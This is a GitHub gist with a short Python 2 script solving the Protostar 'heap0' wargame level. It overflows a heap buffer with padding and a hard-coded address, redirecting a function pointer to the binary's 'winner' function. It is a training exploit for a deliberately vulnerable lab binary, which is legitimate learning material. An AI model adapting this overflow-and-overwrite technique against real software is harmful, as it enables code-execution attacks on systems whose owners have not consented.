Skip to content

Instantly share code, notes, and snippets.

@TheRealJunior
Created September 9, 2018 16:32
Show Gist options
  • Save TheRealJunior/a2aa8429b1b64a7f3cc797135a68a5ff to your computer and use it in GitHub Desktop.
Save TheRealJunior/a2aa8429b1b64a7f3cc797135a68a5ff to your computer and use it in GitHub Desktop.
import subprocess
input = 'a' * 64 + 'b' * 8 + '\x64\x84\x04\x08'
proc = subprocess.Popen(['/opt/protostar/bin/heap0',input], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
stdout,stderr = proc.communicate()
print stdout
# 08048464 g F .text 00000014 winner
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment